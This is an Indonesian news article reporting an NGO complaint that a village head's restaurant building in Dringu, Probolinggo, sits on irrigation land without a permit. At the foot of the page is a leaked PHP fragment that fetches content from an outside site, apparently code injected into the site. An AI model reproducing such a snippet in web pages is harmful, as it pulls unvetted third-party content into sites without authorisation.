LSM AMPP soroti Bangunan Milik Kades Dringu yang berdiri diatas tanah pengairan

Kamis, 18 Februari 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info | Probolinggo – Pengadaan bangunan di Jalan Deandles desa Dringu kecamatan Dringu Kabupaten Probolinggo menuai polemik baik dilingkup masyarakat Desa tersebut maupun pemerhati lingkungan. Pasalnya bangunan permanen milik Kepala Desa (Kades) Dringu, Buchori diduga menyalahi sejumlah aturan dalam proses pendirian bangunan.

Hal ini seperti disampaikan oleh ketua LSM Aliansi Masyarakat Peduli Probolinggo (AMPP), H Lutfi Hamid. Menurut pria paruh baya ini pembangunan gedung yang rencananya akan difungsikan sebagai rumah makan atau rest area tersebut berdiri di tanah Pengairan serta makan bahu jalan desa milik dinas PUPR kabupaten Probolinggo.

Baca Juga:  Kantor PPKB PP Dan PA Kaur Gelar Sosialisasi PK 2021

Selain itu adanya saluran irigasi tertutupi pondasi bangunan dan disinyalir tidak mengantongi ijin dari pihak terkait. Lutfi dengan tegas lembaganya mengadukan permasalahan ini ke Bupati dan dinas terkait lainnya.

Lebih lanjut Lutfi mengatakan hasil kajian tim hukum LSM AMPP terhadap pembangunan ini semestinya melalui mekanisme yang telah ditetapkan dalam mendirikan sebuah bangunan termasuk terlebih dahulu memiliki izin mendirikan bangunan ( IMB ) sebagaimana di atur dalam salah satu peraturan daerah ( Perda ) kabupaten Probolinggo tentang izin mendirikan bangunan ( IMB ) mengingat adanya bangunan ini juga berimbas pada para petani disekitarnya utamanya dalam hal irigasi.

Baca Juga:  Kodim 0820 dan Polres serta Polresta Probolinggo Laksanakan Apel Siaga Pengamanan Pergantian Tahun Baru 2021

Guna menindaklanjuti surat aduan dengan No 086/ LSM, AMPP/97/2021, tertanggal 17 Pebruari 2021, pihaknya meminta kepada Bupati Probolinggo atau pihak terkait yang memiliki kewenangan perihal penertiban izin dan penegakan perda untuk melakukan pengecekan terhadap kelengkapan izin atas pembangunan tersebut. “Kalaupun terbukti melanggar ketentuan perda atau peraturan lainya terutama dinas pengairan yang menjadi kewenangan pemerintah daerah kabupaten Probolinggo, maka segera lakukan tindakan tegas, berupa penghentian kegiatan pembangunan dan penyegelan sampai seluruh perizinannya terpenuhi ,”Ujarnya.

Camat Dringu saat dihubungi terkait hal tersebut sayangnya belum bisa memberikan jawaban yang cukup bijak. “Saya tidak tahu. Soal itu silahkan tanya ke instansi yang menangani permasalahan tersebut.”Ujarnya.

Baca Juga:  Dalam Rangka HUT.RI ke 77 Kampung Kasui Lama Mengadakan Turnamen Piala Bergilir Kepala Kampung Kasui Lama

Sejauh ini DPP LSM AMPP telah melakukan penelusuran kepada instansi terkait yang berkopeten dalam hal tersebut, termasuk Dinas Perijinan dan PUPR. Sementara Plt Kepala Satpol PP , Aruman saat dihubungi terkait hal ini mengaku akan melakukan pengecekan dilapangan.

Kades Dringu, Buchori S.H ketika dikonfirmasi menyangkut temuan tersebut sampai berita ini naik belum dapat ditemui. Begitu jg dihubungi via ponsel ternyata tidak direspon.(JK)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Binda Ayu Asalasiyah, S.Ked Dapatkan Penghargaan Satya Lencana Aditya Karya Mahat Va Yodha Utama dari Karang Taruna Way Kanan
Aries Sandi Janji Perbaiki Pendidikan dan Infrastruktur di Pesawaran
Aries Sandi-Supriyanto Genjot Pembentukan Tim Pemenangan di Pesawaran
Jelang Penetapan KPU, Balon Wabup Ayu Asalasiyah Kukuhkan Tim Amanah Emak-emak di 5 Kecamatan
Pesawaran Ganti Rezim: Seruan Perubahan Sambut Pilkada 2024
Buntut Aniaya Adik Tingkat, Empat Siswa SMA Kebangsaan di Kembalikan Hak Asuh ke Pihak Keluarga
Dukungan Terus Mengalir untuk Kemenangan Aries Sandi-Supriyanto
Hak Jawab Sulardi Atas Tuduhan Pemalsuan Surat Tanah Tak Berdasar,

Berita Terkait

Jumat, 20 September 2024 - 10:17 WIB

Binda Ayu Asalasiyah, S.Ked Dapatkan Penghargaan Satya Lencana Aditya Karya Mahat Va Yodha Utama dari Karang Taruna Way Kanan

Kamis, 19 September 2024 - 20:52 WIB

Aries Sandi Janji Perbaiki Pendidikan dan Infrastruktur di Pesawaran

Kamis, 19 September 2024 - 20:50 WIB

Aries Sandi-Supriyanto Genjot Pembentukan Tim Pemenangan di Pesawaran

Kamis, 19 September 2024 - 20:20 WIB

Jelang Penetapan KPU, Balon Wabup Ayu Asalasiyah Kukuhkan Tim Amanah Emak-emak di 5 Kecamatan

Kamis, 19 September 2024 - 15:26 WIB

Pesawaran Ganti Rezim: Seruan Perubahan Sambut Pilkada 2024

Berita Terbaru

Peristiwa

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Jumat, 20 Sep 2024 - 10:56 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>